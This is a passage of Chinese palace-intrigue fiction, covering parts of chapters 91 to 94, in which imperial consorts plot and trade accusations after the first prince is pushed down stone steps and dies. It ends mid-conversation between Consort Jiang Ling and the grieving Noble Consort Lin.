眼见毫无干系的柳贤妃被牵扯进来,证明江舲无辜的同时, 证实了赵嫔居心叵测,柳贤妃深藏不露的心机。 赵德妃曾哭诉过, 萧允珏好端端摔倒, 是被人算计陷害。若赵德妃所言为真,还有心肠歹毒之人未被发现。 他的后宫, 真真是鬼魅横行! 赵嫔脸色煞白,再也坐不坐, 她尖声叫起来, “贵妃娘娘,我亲眼所见是慧淑妃,是慧淑妃推了大皇子, 贵妃娘娘, 大皇子脑子受了伤, 可能糊涂了, 贵妃娘娘, 你莫要相信啊!” 林贵妃垂眸不语, 江舲深深皱起了眉,赵嫔明显乱了阵脚, 对着强弩之末, 她也不打算理会。 江舲听得皱眉,不知为何,对林贵妃的话, 她本能地怀疑。 在赵嫔冤枉她之前,林贵妃要是指是柳贤妃,她反倒可能相信。 毕竟,结合以前发生的林林总总,柳贤妃每次都置身事外,看似无辜,却搅动得后宫大乱。 方司灯之死时,林贵妃就差没直接挑明,柳贤妃才是主使。 江舲没有证据,林贵妃也没找到,此事不了了之。 如今往事再度重现,林贵妃与赵德妃被无形的大手推到一起,杀得你死我活,两败俱伤。 江舲以为,林贵妃的话,只是为了拉柳贤妃下水。萧允瑞萧允珏受伤已是事实,柳贤妃要是一直站干岸看着,她永远不会抓到把柄。只有把她拉下水,正面相对,她才有可能露出破绽。 至于推萧允瑞真正的凶手,林贵妃心中大致有数。借着眼前大好的机会,用来对付柳贤妃,再收拾起来也简单容易。 何况,赵嫔跳出来,以林贵妃的聪明,岂能随便相信。借萧允瑞之口指出是柳贤妃,赵嫔就会倒大霉,顺手收拾了她。 江舲暗自感慨不已,林贵妃在此时时刻,还这般冷静克制。尤其当时赵德妃冲下来时,林贵妃的果决与反应之迅速,大胤估计没几人能做到。 赵德妃亦不遑多让,萧允珏滚下石阶时,她赌上自己的性命去做还击。当时赵德妃来不及去深思究竟谁是凶手,但她这一撞,江舲与林贵妃都没逃脱,她是宁可错杀三千,不可放过一个。 思及此,江舲不禁一愣。如此看来,萧允珏的摔倒,定与萧允瑞脱不了干系。 不知为何,江舲总是莫名不安。 照着常理,林贵妃顺着赵嫔的话。指认江舲才是上上策。 比起柳贤妃,江舲育有萧允瓒,还抚育着萧允琅,是争夺大位强有力的竞争对手。 元明帝太阳穴鼓跳起来,青筋直冒。他喘息着,眼神怨毒盯着赵嫔,口不择言骂道:“贱妇!你闭嘴!事到如今,你还敢狡辩。果真是赵氏破落户出身,骨子里就下贱!” 赵嫔一动不动坐着,睁大眼睛定定望着元明帝。片刻后,她僵直地往前栽倒,“咚”地一声巨响,摔倒在地。 竟生生气晕了过去! 屋内霎时安静下来,元明帝被惊了跳,旋即就厌恶地皱起眉,喊道:“黄梁!” 黄梁疾步跑进屋,元明帝指着地上的赵嫔,毫不留情道:“拖出去!” 看到地上人事不省的赵嫔,黄梁吃了一惊,他赶紧唤来张善,两人搀扶起赵嫔往外走。 “送到皇庙去!” 元明帝神色狠厉,眸中恨意闪烁,不知是生气赵嫔,还是气其他:“赵嫔得了急症,薨逝了!嬷嬷好生看顾好二公主,要是出半点差错,朕诛了他们九族!传柳贤妃来!” 黄梁张善对视一眼,连声应下,连大气都不敢出,半拖半搀扶着赵嫔飞快退下。 林贵妃脸色本就不好,侧身倚靠在圈椅里,看不出任何异样。 江舲怔怔看着眼前的变故,手心冰凉,后背一阵发寒。 先前她以为,林贵妃顺手收拾赵嫔,至少要待柳贤妃之后。 没曾想,林贵妃只淡淡几句话,手起刀落解决了赵嫔。 江舲来不及多想,柳贤妃随着内侍进了屋,她霎时全神贯注,掐着虎口让自己保持清醒。 柳贤妃上前见礼,她仿佛不知被传来面圣的缘由,关切地道:“皇上的龙体可好了些?先前臣妾准备来侍疾,恐扰了皇上歇息,打算过一阵再来。” 元明帝脸色阴沉不定,并未回答柳贤妃的话,开口便是厉声训斥道:“柳贤妃,你好歹毒的心,竟然将阿瑞推下了石阶!” 柳贤妃神情讶然,惊呼道:“什么,臣妾推了大皇子?” “阿瑞亲口指出是你,你还不承认!”元明帝脸色阴沉,冷笑连连,“不是你,还会有谁!” 柳贤妃道了声奇怪,她不见惊慌,沉着冷静地道:“皇上,臣妾真没有推大皇子,亦不知是谁推了大皇子。” 当时能推萧允瑞的就那么几人,柳贤妃并未因洗清自己,对其他人有任何的意有所指。 就凭着这一点,与赵嫔高低立现,元明帝默默对她高看了几分。 “臣妾这些年身子不好,药不离身,只一心一意抚育大公主。臣妾与大皇子,林贵妃,后宫中的所有姐妹都无冤无仇,臣妾真是……” 柳贤妃哽咽了下,眸中泪光一闪而过,苦涩地道:“臣妾忍着病痛,尽力活着,只不过想着待大公主长大,给她寻个好驸马,看着她出嫁。臣妾连这点盼头,都成了奢望么?” 元明帝不由得想起柳贤妃夭折的儿子,跟着黯然神伤。他神色缓和下来,对林贵妃道:“阿瑞似醒非醒,兴许是在说胡话。此事甚是要紧,不可胡乱指责。” 林贵妃侧过头,捂着嘴咳嗽起来,她一咳,牵扯到左侧肩膀,眼泪顿时呛出。待平息下来,林贵妃随意擦拭掉眼泪,嘴唇与脸皆惨白如纸。 “你别急,怎地又咳嗽了!”元明帝眉心拧成一条线,顿了下,道:“还是先传太医来给你诊治吧。” “皇上,臣妾能撑住,只屋中干燥,臣妾喉咙有些难受。皇上身上也有伤,臣妾想着要早些将此事说清楚,皇上也能早点歇着。”林贵妃缓慢地说着,端起茶盏抿了口水润喉。 施针之后,元明帝身上的痛缓解了些,终究是不舒服。一大早便事情不断,元明帝凭着一股怒意在强撑着。阿林贵妃的体贴都,让元明帝很是受用,他目露赞赏,道:“柳贤妃的话,你可听到了?” 林贵妃应了元明帝一声,对柳贤妃道:“柳贤妃,你可否无辜,其实你最清楚。你以为死无对证,这句话也对,阿瑞不知可否再醒来,仅凭着他惊惧的几句话,无法证实是你。” 柳贤妃欠身下去,神情真挚,喟叹道:“我也是做过母亲,正在做母亲之人,能体会贵妃娘娘的伤心愤怒。贵妃娘娘如何怀疑,我都不会放在心上。贵妃娘娘还是好生养伤,莫要多操心,大皇子吉人自有天相,肯定会很快醒转过来。” 林贵妃道:“多谢柳贤妃的体谅。”她客客气气说着,对元明帝道:“皇上,待阿瑞醒来之后,让阿瑞亲口说吧。” 元明帝松了口气,于他来说,后宫太太平平不出事最好不过,当即应了。 江舲以为的大战,几句话就散了。她惊诧之外,始终浑身紧绷,怎样都无法松弛下来。 “朕累了,你也去歇一会吧。”元明帝靠在床头,神色疲惫对江舲说道。 江舲回到屏风后躺下,明明累到极点,却睡不着。 在江舲看来,柳贤妃明明有许多回击林贵妃之处。比如萧允珏的摔倒,以柳贤妃的聪明,肯定会猜到萧允瑞身上。无论真假,柳贤妃都可以拿来攻讦林贵妃。 元明帝本疑神疑鬼,若萧允瑞令萧允珏摔倒,累及元明帝。哪怕最后证实柳贤妃对萧允瑞动手,元明帝对她的怒意也会轻一些。 林贵妃早已明白,柳贤妃没那么好对付,她看似毫无准备,仅有萧允瑞脑子糊涂时的几句话而已。 江舲心想着,要是换做她,哪怕是来到寝宫之后,仓促之间才想到拉柳贤妃下水。 招式不怕老,后宫嫔妃死穴便是皇子,江舲会借口柳贤妃儿子夭折,她心里扭曲,见不得其他皇子们,伺机对萧允瑞下了毒手。 江舲想得眼前阵阵眩晕,怎样都想不透,摸不到两人的心思用意。 “娘娘快躺着。”谢嬷嬷搀扶着林贵妃进屋,绣云帮着忙,在她身后摆好软垫,倒了盏红枣汤奉上。 林贵妃靠在软垫上,吃了几口红枣汤,待松缓了些,问道:“阿瑞情形如何了?” 绣云留在萧允瑞身边伺候,自他滚下石阶后,便一直昏迷着。闻言,绣云神色黯然,道:“娘娘,大皇子还是那样。吴太医正来施过针,说是大皇子反应微弱,要是,要是……”她吞吞吐吐起来,不敢再说下去。 “要是醒不来,阿瑞就死了。”林贵妃接了绣云的话说了下去,她神色平静,似乎不见悲伤。 谢嬷嬷却听得鼻子一酸,林贵妃并非铁石心肠,她生为母亲,心里比谁都痛。她惯常冷静自持,是在提前做好准备,好面对萧允瑞再也醒不来的事实。 “究竟是谁害了大皇子,娘娘可曾知晓?”绣云愤愤问道。 林贵妃还未回答,谢嬷嬷便生气地道:“奴婢认为,不是慧淑妃,就是柳贤妃。” “不是她们。”林贵妃轻声否定了。 见谢嬷嬷一脸不解,林贵妃呼出口气,道:“我亲眼看到慧淑妃被赵德妃撞上城墙,脑子伤得不轻,她没那么快反应过来。柳贤妃没必要动手,只管看着我与赵德妃就可。赵德妃已经先去见过皇上,她应当是向皇上赔罪,指出萧允珏摔倒之事有蹊跷,让皇上去查清楚。皇上不一定查得清楚,赵德妃会死死咬住阿瑞不放。现在赵德妃没动静,是见到阿瑞也受了重伤,她点到即止,先顾着萧允珏要紧。” 绣云脸色变了,呐呐道:“既然不是柳贤妃慧淑妃,难道是赵嫔?” “九成都是她。”林贵妃无比懊悔,她要缓好一阵,才晦涩地道:“先前我去琼华阁,听到赵嫔说是慧淑妃时,才想到是她。赵嫔太急了,她恨皇上,巴不得皇上断子绝孙。要是慧淑妃牵连进去,萧允瓒萧允珏还小,没了亲娘护着,在后宫平安长大就难了。再不济,赵嫔可能养育萧允琅,最后还是得偿所愿。” 绣云气得咬牙切齿,恨道:“赵嫔害了大皇子,一定不能放过她!” 林贵妃简明扼要提了元明帝对赵嫔的惩处,“她太蠢了些,掀不起什么风浪。慧淑妃被皇上召到寝宫去侍疾,连萧允瓒萧允珏一起叫了去,她还妄想靠着几句话,能对付他们母子。” 绣云气消了些,谢嬷嬷骂道:“活该!赵嫔就该死!亏娘娘待她一片好意,她养不熟,如毒蛇一样,反咬了娘娘一口。” “嬷嬷,不要说这些气话。我与赵嫔没什么大恩,她投靠我,是权宜之计,想要借我的手对付赵德妃。我就是放松了警惕,看走了眼,让她得了逞。” 林贵妃合上双眸,轻声呢喃道:“最最危险之人,她如今毫发无伤。绝不能让她就这么逍遥自在,坐收渔人之利。我已在明面上点了她,她再难与以前那样沉住气。再看到慧淑妃住进了寝宫,她怕夜长梦多,定会坐不住了。嬷嬷,绣云,你们守着阿瑞,我要歇一歇,必须要歇一歇了……” 谢嬷嬷听得一头雾水,绣云却听明白了。 林贵妃要用江舲与她的两个皇子为诱饵,引柳贤妃动手! 第92章 月亮逐渐西斜, 月色朦胧,在寒冷的夜里格外凄清。 柳贤妃伫立在樱花树下,微微仰起头张望, 良久无言。 过了立春时节,往年天气暖和时, 树枝已悄然绽放新芽,今岁依然光秃秃。 袁长生立在阴影中, 凝眸望过去。柳贤妃仿佛与日渐暗沉的夜色融为一体。 柳贤妃身子不好, 夜里睡得不甚安稳,常在书房枯坐, 或者写字到天明。 今夜的柳贤妃与往常不同,袁长生莫名想起先帝下旨赐婚时, 她立在桂花树下的身影。她的神色平静, 看不出任何的异样。 袁长生肯定她在哭,那股悲怆,撕心裂肺地难受。这些年过去, 每每一回想, 皆会无法抑制心头剧痛。 他犹记得, 那时将将入秋, 桂花树上缀满了米粒大小的金桂。待再过数日, 便会花香满园。 柳贤妃没等到桂花开, 过了两日,一顶小轿将她进了潜邸。 袁长生喉咙阵阵发紧, 低低道:“更深露重, 娘娘回去去歇着吧,仔细受寒。” 柳贤妃沉默不语,过了片刻, 道:“赵嫔被送到皇庙,我去了垂拱殿。” 袁长生已知此事,宋宫正领了送走赵嫔的差使,遇到他时提了几句。林贵妃与柳贤妃去垂拱殿,他亦知晓,柳贤妃与林贵妃皆平安回了宫,不见任何异常。 如今柳贤妃提起来,袁长生略一思索,浑身一震道:“娘娘,宋宫正做得机密,不许任何人声张,她亲自送了赵嫔出宫。我估摸着,赵嫔只怕活不长。” “林贵妃称大皇子称的名字,是我动手害了他。我压根没动过手,大皇子也没醒来过。赵嫔算是后宫老人,又养育了二公主,引得皇上盛怒,将她悄然送进皇庙,此事非同小可。” 柳贤妃眉毛微蹙,缓慢在樱花树下来回踱步。既是在回答袁长生的话,又是在顺着一桩桩事,仔细地掰开了来思索。 “当时慧淑妃在我们前面,按理说,最有可能推大皇子的人,应当是她。只慧淑妃被赵德妃撞得伤了脑子,她本反应不算机警,要他去推大皇子,着实为难她了些。赵嫔急吼吼前去垂拱殿寻皇上,此行的目的,就在慧淑妃身上。我猜她是要将大皇子摔下去之事,退到慧淑妃身上,皇上才将林贵妃叫了去。” 袁长生想起太医院那边的动静,道:“林贵妃伤得极重,一直守着大皇子。太医院的太医一直在大皇子二皇子寝宫,二皇子倒清醒,就是痛得厉害。大皇子那边从未有动静,我以为,大皇子要是醒来,太医院的太医们开的方剂,应当有所不同,会差人去太医院取药。” 他抬眸看向柳贤妃,眸中浮起惊讶,“娘娘不曾动手,慧淑妃动不了手,只能是赵嫔了。林贵妃定清楚赵嫔才是真凶,她将此事安在娘娘身上,一箭双雕。林贵妃是极为聪明之人,若无十足的把握,断不会贸然行动。娘娘。林贵妃她想要作甚?” “她欲作甚?”柳贤妃轻笑了声,声音若寒冰。 “林玉璧这是在提点我呢,萧允瑞大约是凶多吉少,她正式与我撕破脸皮,不死不休了!” 若真是如此,柳贤妃无需对付林贵妃。空有份位的贵妃娘娘,,甚至不如得宠的小才人。 袁长生急道:“娘娘,千万莫要轻举妄动啊!林贵妃发了疯,娘娘不可陪着她疯。” 柳贤妃默然不语,半晌后,她方轻喟一声,幽幽叹息道:“今年春来迟了。” 袁长生顿住,心头涌起一阵凄怆,让他几近哽咽,“元宵方过,且不急。” “如何能不急呢?”柳贤妃轻抚自己的脸,自怜自艾道:“春去冬来,一年复一年,岁岁朝朝无穷尽。我最不喜冬夜,仿若永不见亮光。” 袁长生背光立着,看不清他此时的神情。柳贤妃无需细看,见他受伤的左手不知不觉垂落身旁,似乎忘了痛,便知他此刻的自责。 “我非是在抱怨。”柳贤妃轻声解释了句,像是在宽慰他,又像是在自嘲:“是我没出息,以为自己无所不能,算无遗策。可惜,我用尽全力步步为营,终是走得极为艰难。” 袁长生缓缓抬起头,道:“娘娘,是我没用。我不怕死,就怕娘娘出事。我本笨拙,比不过娘娘,不敢能替娘娘出谋划策,只娘娘定要小心才好。” “小心翼翼了这些年,有何用呢?”柳贤妃凄然地一笑,她的眼眸极为明亮,这时蒙了一层灰,苦涩得令人心痛。 “我不甘心,不甘心啊!”柳贤妃捂住胸口,她那里总是压着一块石头,憋得透不过气。 她不喜寒冬,不喜长得见不到光的黑暗,更不喜每到冬日时,总是病恹恹。 犹记得在娘家时,哥哥们的君子六艺都比不过她。遑论琴棋书画,骑马射箭,哥哥们皆不是她的对手。 柳贤妃最恨的是,她的魂魄,被困在了这座阴暗扭曲的重重宫城,被困在日渐枯萎,苍老的躯体里。 “阿棠聪慧灵动,比起那几个废物,强上十倍百倍。可惜,那几个蠢货是男儿身。” 柳贤妃的眉目渐渐变得狠厉起来,眸中迸发出强烈的厌恶恨意,一甩衣袖,道:“林玉璧机关算尽,却养出一个狠毒有余,手段不足的无能之物。赵清滢心气手腕皆一等一的强,她与林玉璧一样,把他那肥硕的平庸之辈当做宝。江舲慈悲倒是慈悲了,只是可笑至极。她在这后宫做菩萨,机灵倒是机灵,只迟钝了些,比林玉璧赵清莹差之远矣。她所依仗的天,方是天大的滑稽。” 她的眼神茫然起来,迷惑而不解:“身为帝王,如何能蠢到如此的地步,自大到如此的地步?我每每听他说话,犹如身上爬满了脏污,黏腻的虫蚁,一遍一遍清洗,依然会觉得难受至极。” 袁长生僵站在那里,柳贤妃日渐苍老憔悴,在深宫熬着。她熬不下去了,与林贵妃一样,早已发了疯。 “无论林玉璧是何居心,我都不惧。眼下也等不得,江舲搬进了垂拱殿,不可等到她翅膀真正硬了。阿棠马上要说亲,她也等不得。” 柳贤妃眼神逐渐恢复了平静,坚定豪迈地道:“成王败寇,生死何惧!” * 过了两日,江舲能确定,她的脑袋无甚大碍。只她始终头晕目眩,成日提不起精神。 无他,施针之后,元明帝能安静片刻。没多时之后,元明帝就呻吟着喊痛。在他安静时,还要批阅折子,黄相等重臣来请安,回禀朝堂政事。 江舲还要操心萧允瓒萧允瑞,片刻不得安宁。她想要搬到偏屋去住,元明帝一听便大怒,无论如何都不许她离开。 无法,江舲只能尽量让自己舒服些。元明帝身上的衣衫被褥勤更换,屋内的香炉全部搬走,开窗棂透气。 这天午后,吴适山给元明帝施完针,他身上的痛消了些,沉沉睡了过去。萧允瓒萧允瑞也睡了,江舲总算能歇息一会,到屋外廊檐下透气。 天气昏暗,云仿若悬在头顶。江舲伸出手去,感到一阵湿润,道:“只怕要下雨了。” 吴适山交代完黄梁方症以及抓药煎药的事,走来与江舲见礼告别。江舲颔首回礼,道:“大皇子二皇子,贵妃娘娘与德妃娘娘可有好转些?” “二皇子伤得重,右侧脸上的伤,恐会留下疤。右腿也有麻烦,待骨伤愈合,走动时方能得知可会如常。贵妃娘娘肩膀伤得比皇上还要重,疼得甚是厉害。即便养好无碍,刮风下雨时依然会难受。德妃娘娘的情形,大致与贵妃娘娘差不离,每天都疼得很。” 吴适山先说了三人的情形,至于萧允瑞,他神情变得沉重起来,道:“昏迷这般久,滴水未进。要是能醒来,估计会挺过去。要是再昏迷下去,就是这两天的事了。” 江舲对萧允瑞的伤势早有所预料,他真重伤到脑子,华佗也救不活他。 萧允瑞小小年纪就残忍阴狠,眼下以杀虐猫狗取乐,待他手握重权时,便会杀人取乐。在大胤身为王孙贵人,蝼蚁之命罢了,不值得一提。 “唉!”江舲假模假样地叹息了声,只不知,林贵妃会是何种反应。 自从上次林贵妃与柳贤妃之事后,江舲的一颗心,总是晃悠悠没底。郑相等朝臣前来见元明帝,她都暗戳戳躲到屏风后偷听。可惜,卫大学士他们未查出任何的端倪,萧允珏倒是喊着被萧允瑞推下了台阶。 如今萧允瑞尙且在昏迷之中,他要咬着不放,一是不顾手足之情,二总要让萧允瑞醒来之后,听他如何辩解。 赵德妃是何等聪明之人,萧允珏叫唤过一次之后,他便再也不提,免得最后落个刻薄寡恩的名声。 江舲问道:“朝堂京城可有什么动静?” 吴适山飞快四下看去,压低声音道:“赵舜上次惹了事,被勒令在府中不得出门,过年时方出来走动。赵舜与二皇子最喜去瓦肆,每每前去皆前呼后拥,身边围着一群陪客。京城聪明点的人家,都绝不多谈,闭门不出,赵舜也足不出户了。倒是瓦肆铺子那些人赚不到银子,还有那群等着吃喝的陪客,想着法子去找赵舜。那赵舜在府中无聊,几杯马尿喝了,什么话都吐露了出去。瓦肆那边传得五花八门,荒诞离奇。大致皆离不了兄弟争大位,兵刃相向。” 百姓虽是八卦胡说八道,猜测得倒八九不离十。江舲不禁轻晒,赵府还真是扶不起的阿斗。任由赵德妃再厉害,也经不起赵氏拖后腿。 毕竟大胤讲究礼仪孝道,争大位杀红眼,断不会杀得世人皆知,以示皇位得来正统。 “林氏那边呢?”江舲问道。 吴适山摇摇头,道:“林氏无甚动静,对此三缄其口,只暗中在民间遍寻神医。” 林氏一族手段高明,三缄其口与遍寻神医,足令赵德妃头疼。 江舲正欲再问柳贤妃那边的情形时,太医院的孙太医匆匆跑了来。寒冷的天气,孙太医不顾规矩,跑得一头的汗。吴适山神色微凛,江舲亦一愣,见宫人要上前拦,忙摆了摆手,“让他过来。” 宫人退下,孙太医一口气跑上前,朝江舲飞快见礼,着急地拉着吴适山,道:“吴太医正,大皇子那边请你过去,要赶快!” 吴适山来不及多言,跟着孙太医慌忙离开。 江舲凝神沉思,定是萧允瑞命在旦夕了。她忙转身回屋去午歇。若再耽搁,她又无法安歇。 果然,江舲睡了约莫一炷香的功夫,黄梁进屋来,将睡梦中的元明帝唤醒:“皇上,大皇子薨了!” 第93章 元明帝睡眼松醒, 他一时不曾反应过来,茫然道:“你在说甚?” 黄梁冷汗津津,身子几乎快弯成虾米, 硬着头皮重复了遍,抬手去抹眼睛, 转瞬间就红了眼:“皇上,大皇子仙去了, 尘缘已尽, 皇上要保重龙体啊!” 元明帝躺在那里,目光定定望着帐顶, 受伤后凹陷蜡黄的脸,此时一片灰败。 悲痛袭来, 元明帝难受得禁不住哀嚎道:“阿瑞啊!朕的阿瑞啊!” 黄梁陪着垂泪, 转瞬间屋中哭成一团。江舲躺不下去了,撑着起身下榻,从屏风后走了出来。她本要装作懵懂问声出了何事, 元明帝看到她, 立刻朝她伤心欲绝地道:“阿瑞薨了, 你快搀朕去见阿瑞!” 江舲差点被元明帝便宜、无用的帝王亲情逗笑了, 他真有如他表现出的那般心疼, 当时他便不会自私凉薄地占着轮值太医, 不管萧允瑞萧允珏他们也受了伤,等着太医诊治。 “皇上身上有伤, 不得动弹。若因着不舍大皇子, 再次受伤的话,大皇子岂能安心走啊!” 江舲不想再睡在坐榻上侍疾,只能虚情假意地劝导, “黄大伴,快去打水进来,伺候皇上更洗。” 黄梁如释重负,忙出去安排了。元明帝难受极了,心疼极了,委屈极了,他撑着要坐起身,“朕偏生要去!不是你亲生,你就漠不关心,真真是让朕……” 元明帝见江舲阻拦,伤心顿时化为了怒火,冲着江舲一阵大吼。他一动,胸口伤腿牵扯着痛,他顿时骂不出来,呲牙裂嘴倒了回去,张大嘴喘粗气。 江舲冷眼看着元明帝疯狗般乱咬人,后悔不迭。她就不该劝他,让他去演天家父子亲! 内侍宫女捧着热水帕子进屋,拧了热帕子上前伺候。江舲一扭身,也前去梳洗。等她梳洗整齐,萧允瓒萧允琅起了身,蹬蹬瞪跑了来,喊道:“阿娘!” 江舲赶忙拉着两人出屋,这时擦洗干净的元明帝又不高兴了,冷着脸骂道:“嫡亲大哥薨逝,你们不见伤心,反倒还笑闹追逐!真真是无情无义,不顾手足之情的混账!” 萧允琅倏地一下躲在江舲身边,萧允瓒则一脸不解,问道:“阿娘,大哥薨逝,什么叫薨逝?” 江舲忍着气,温声解释道:“薨逝,便是人断了气,往生,去了另外的地方,以后再也见不着了。” 萧允瓒似懂非懂,他与萧允瑞不熟,听闻后并无任何反应。萧允琅探着小脑袋朝龙床看去,小声道:“阿娘,阿爹好可怕。” 江舲轻抚着他的脑袋,带着他与萧允瓒走了出屋,严肃地道:“大皇子薨逝,这是伤心的事,你们不得再顾着自己笑闹,可听到了?” 两人都怕江舲沉脸,当即乖巧地应了。江舲将萧允瑞薨逝之事告诉了文涓阿箬她们,“去给他们换一身素净的衣衫,好生看着。” 文涓阿箬忙带走两人去更衣,江舲回到卧房,元明帝气犹未消,脸一横便要训斥。 江舲已受够了元明帝的迁怒,径直打断了他:“皇上,大皇子薨逝之事方才得知,阿瓒阿琅垂髫小儿,何懂生死大事。皇上天威难测,阿瓒阿琅已经被吓得不轻,皇上要是再劈头盖脑一通骂,只怕阿瓒阿琅会害怕。外面快下雨了,天气寒冷,我担心阿瓒阿琅的身子会吃不消。” 元明帝被噎住,想到如今萧允珏卧床不起,膝下仅有的两个皇子,再容不得有丁点闪失。他那股怒意,瞬间就偃旗息鼓了,落寞地道:“我这心呐,难受得紧。” 萧允瑞尚未成亲开府,以他的年纪,可算做夭折,也可算做薨逝。夭折的皇子公主,同样会葬进皇陵,只丧仪规制,比起薨逝的皇子要简单。 元明帝早就应该下旨,如何操办萧允瑞的后事。江舲见他只顾着自怜自艾,着实懒得理会。 黄梁见状,硬着头皮上前请示:“皇上,大皇子的丧事要如何操持。” 元明帝听到丧事,心里又一痛。他强忍住悲伤,道:“传旨下去,追封大皇子萧允瑞为睿亲王,着礼部操办。” 黄梁忙去了,元明帝含泪看向江舲,难过地道:“林贵妃定伤心至极,你去阿瑞寝宫走一趟,帮忙看着些。” 江舲心想她肯定要去一趟,于是便应了,前去萧允瑞的寝宫。 寒冷的风刮着,牛毛细雨扑到脸上,犹如针扎一样。小黄门急着拆下元宵时悬挂着的各式灯笼,在上面蒙上白巾。一路走进去,内侍宫女嬷嬷们亦忙碌着,拆走过年过节时留下的喜庆装扮。他们皆小声交谈,哀戚的神情中,透出莫名的惊惶。 绣云走了出来,站在门前见礼,抬手打起门帘,恭敬地道:“慧淑妃娘娘请进。” 江舲颔首,不动声色打量着绣云。她的声音沙哑,眼睛红肿,眼底一圈青色,头上手上钗环尽退,向来梳得一丝不苟的发髻,略显凌乱。 不过,她身上套着粗麻孝服,孝服平平整整。 粗麻容易皱,要平整的话,必须提前备着。看来,林贵妃对萧允瑞的结果,应该有所准备。 江舲淡淡收回视线,绣云领着她走向次间,道:“慧淑妃娘娘,娘娘不忍大皇子离去,先前只含了饭,迄今尚未收敛入棺椁,还在卧寝内的床上。” “皇上已经着礼部操办了。”江舲心中滋味一时很是复杂,叹息一声道。 绣云微不可查松了口气,江舲走进次间,短短几日不见,待看到林贵妃,她几乎吓了一跳。 林贵妃形容枯槁,如石像般坐在榻上。白中透着灰的脸上,瘦得只剩下一层皮,紧贴在脸上,几乎脱了形。头发披散在肩头,乌青的秀发中,夹杂着银丝。 屋中只得谢嬷嬷一人,她与绣云差不多情形,垂泪侍奉左右。 江舲上前屈膝见礼,道:“贵妃娘娘请节哀。” 林贵妃愣愣抬起头,朝江舲看了来。江舲迎着她的目光,顿时浑身汗毛直竖。 那双眼睛深凹下去,平时沉着冷静的眼眸,晦暗不明,仿佛是密林前化不开的浓雾,在雾后,不知藏着何种情形。 “你来了。”林贵妃欠身回礼,声音沙哑。她朝谢嬷嬷伸出手,“这里人进进出出不方便,慧淑妃随我到偏屋书房去歇息。” 谢嬷嬷搀扶起林贵妃,绣云要上前帮忙,被林贵妃拦着了,“等下礼部的官员到来,你留下帮着招呼张罗。我就不见他们了。” 绣云忙退到一边,林贵妃整个身子都几乎依靠在谢嬷嬷身上,摇摇晃晃朝外走。 先前绣云还道萧允瑞未曾收敛,如今她一来,林贵妃便让秀云留下招呼礼部官员。 江舲心里一咯噔,林贵妃的伤心做不得假,她的灵敏与机警,即便在遭遇巨大的打击时,依然不改。 到了偏屋书房,林贵妃坐进书桌后的圈椅里,指着一侧的椅子道:“慧淑妃请坐。” 江舲坐了下来,谢嬷嬷奉了茶,退到门外立着了。 林贵妃端起吃了大半杯,她长长呼出口气,道:“慧淑妃身子也不好,难得你来,多谢你。” 江舲想了想,诚恳地劝道:“娘娘,眼下这个时候我劝你保重身子,估计都是虚话。毕竟我也是母亲。但我还是要多嘴说一句,娘娘的情形很不好,一定要好生歇息。” 林贵妃看了江舲一眼,颔首道:“多谢慧淑妃,我知道慧淑妃是好心,只阿瑞没了,我做不到。” “皇上很是”江舲顿了下,继续说了下去,“皇上伤心欲绝,追封大皇子为睿亲王,着礼部官员操持丧事。” 林贵妃平静的面孔,终于一寸寸皲裂,眉眼戾气横生,“比起死后荣光,我还是盼阿瑞活着。” 江舲沉默片刻,试探着问道:“我也是这般想。娘娘,睿亲王遭逢不幸,推睿亲王之人迄今未知。娘娘聪慧,可猜到谁是凶手了?” “无论谁是凶手,为了皇家脸面,此事都会是意外,不会对外声张。” 林贵妃嘴角浮起冷意,端起茶盏吃了几口,右手揉了揉眉心。放下手,眉心留下几道红色的印记,看来她已精力不济,竭力保持清醒。 “慧淑妃也是聪明人,知晓了谁是凶手。” 江舲微顿,她听到元明帝让卫大学士去查,便未深思,还有皇家脸面这一层。 看来,她虽在元明帝身边,知晓他的所有动作,反倒成了一叶蔽目。 江舲在迅速打定了主意,道:“因为我不曾动手,余下就那么几人,我就猜了猜,大致有了底。凶手定活不下去,贵妃娘娘算是替睿亲王报了仇。” “报仇又如何,阿瑞已经活不过来了。”林贵妃淡然说着,到底悲痛,声音控制不住颤抖。 “娘娘可有想过以后的日子?”江舲沉吟了下,问道。 林贵妃缓缓看向江舲,目光沉沉,久久未做声。 江舲道:“娘娘只得睿亲王,为母者则刚。为了抚育睿亲王,娘娘殚精竭虑,呕心沥血。身为母亲,娘娘只恨不得替他去死。娘娘是林氏的人,始终牵挂着林氏一族。二皇子的情形很不好,德妃娘娘守着二皇子,与娘娘一样彻夜不眠不休。” 林贵妃眼睛微眯,目光锋利如刀盯着江舲:“慧淑妃身前有三皇子,又抚育着四皇子,自己身上掉下来的骨肉,受到丁点的伤害,自是如万箭穿心一样疼。” 江舲不躲不闪,轻点头应了句我醒得,继续说了下去,“德妃娘娘称有人推了二皇子,娘娘聪慧,可知道是谁推了二皇子?” 林贵妃缓缓坐直了身子,右手紧拽着茶盏,手背青筋直冒:“慧淑妃,我的阿瑞没了,着实无力关心谁害了二皇子。” 江舲不紧不慢地道:“德妃娘娘关心,二皇子的腿,脸上的伤,以后大致是好不了了。” 一旦萧允珏的伤无法痊愈,基本就与储君无缘。储君的大位,自当落在了萧允瓒萧允琅身上。 赵德妃岂会善罢甘休,江舲有两个皇子,且与二皇子之事无关。 活着的萧允珏,比起已经去世的睿亲王,在元明帝心里,肯定要重要一些。 如此一算,赵德妃要对付,能对付之人,将会是谁? 萧允瑞已死,林氏一族却还在。比起破落户赵氏,林氏一族根基虽深厚,在对着帝王威严时,仍然毫无抵抗之力。 林贵妃紧握茶盏的手松开,道:“慧淑妃,你究竟意欲如何?” 第94章 萧允瑞尚未收敛, 恐遗骸腐坏,寝宫薰笼悉数熄灭,书房冰冷。 林贵妃直勾勾盯着江舲, 瘦骨嶙峋的脸,像极了捕食的猛兽。 江舲捧着茶盏暖手, 极力克制住紧张的情绪,淡然不语。她的意思足够明显, 以林贵妃的聪明, 何尝猜不到。 再转念一想,江舲便平静了下来。有朝一日, 她竟然也能挤入高手局! 对着林贵妃,江舲从不敢掉以轻心。从进寝宫大门起, 她就不动声色打量着周围的一切。 从绣云的孝服, 到林贵妃的状态,江舲心里大致有了数。 林贵妃的出身,家族, 对她是助力, 同时也是羁绊。 萧允瑞对她虽重要, 可惜, 她连痛痛快快哭一场都不敢! 林贵妃等待片刻, 见江舲不做声, 眼眶逐渐泛红,怒意翻滚。她放缓声音, 再次问道:“你打算作甚?” “贵妃娘娘比我聪明。”江舲漫不经心回了句, 她眉毛微扬,不待林贵妃说话,反问道:“我倒是有个问题想问贵妃娘娘, 